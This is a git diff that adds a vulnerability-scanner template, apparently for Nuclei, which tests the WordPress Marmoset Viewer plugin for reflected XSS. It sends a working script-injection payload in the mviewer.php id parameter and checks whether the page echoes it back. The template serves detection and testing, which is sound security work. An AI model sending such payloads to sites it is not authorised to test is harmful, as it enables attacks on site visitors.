diff --git a/vulnerabilities/wordpress/wp-plugin-marmoset-viewer-xss.yaml b/vulnerabilities/wordpress/wp-plugin-marmoset-viewer-xss.yaml
new file mode 100644
index 0000000000..c57477d47e
--- /dev/null
+++ b/vulnerabilities/wordpress/wp-plugin-marmoset-viewer-xss.yaml
@@ -0,0 +1,22 @@
+id: wp-plugin-marmoset-viewer-xss
+
+info:
+  name: Wordpress Plugin Marmoset Viewer XSS
+  author: johnjhacking
+  severity: medium
+  tags: xss
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-content/plugins/marmoset-viewer/mviewer.php?id=http://</script><svg/onload=alert(%27hacked%27)>"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "</script><svg/onload=alert('hacked')>"
+        part: body